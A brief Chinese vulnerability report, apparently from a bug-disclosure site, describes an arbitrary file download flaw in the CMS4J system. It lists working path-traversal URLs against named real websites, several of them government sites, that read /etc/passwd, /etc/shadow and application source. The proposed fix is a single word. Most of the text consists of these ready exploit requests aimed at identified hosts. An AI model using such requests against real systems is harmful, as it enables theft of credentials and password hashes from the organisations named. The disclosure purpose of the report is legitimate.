CMS4J文件下载未对路径进行过滤,可以下载任意文件
详细说明:
http://www.kunlunhealth.com/DownloadFile?type=full&file=/../../../../../../../../../etc/passwd
涉及部分gov网站,
CMS4J任意文件下载漏洞及修复
。。漏洞证明:
http://www.nndj.gov.cn/DownloadFile?type=full&file=/../../../../../../../../../../../etc/shadow
http://www.hfjjzd.gov.cn:8080/DownloadFile?type=full&file=/index.jsp
修复方案:
过滤吧
作者 zmx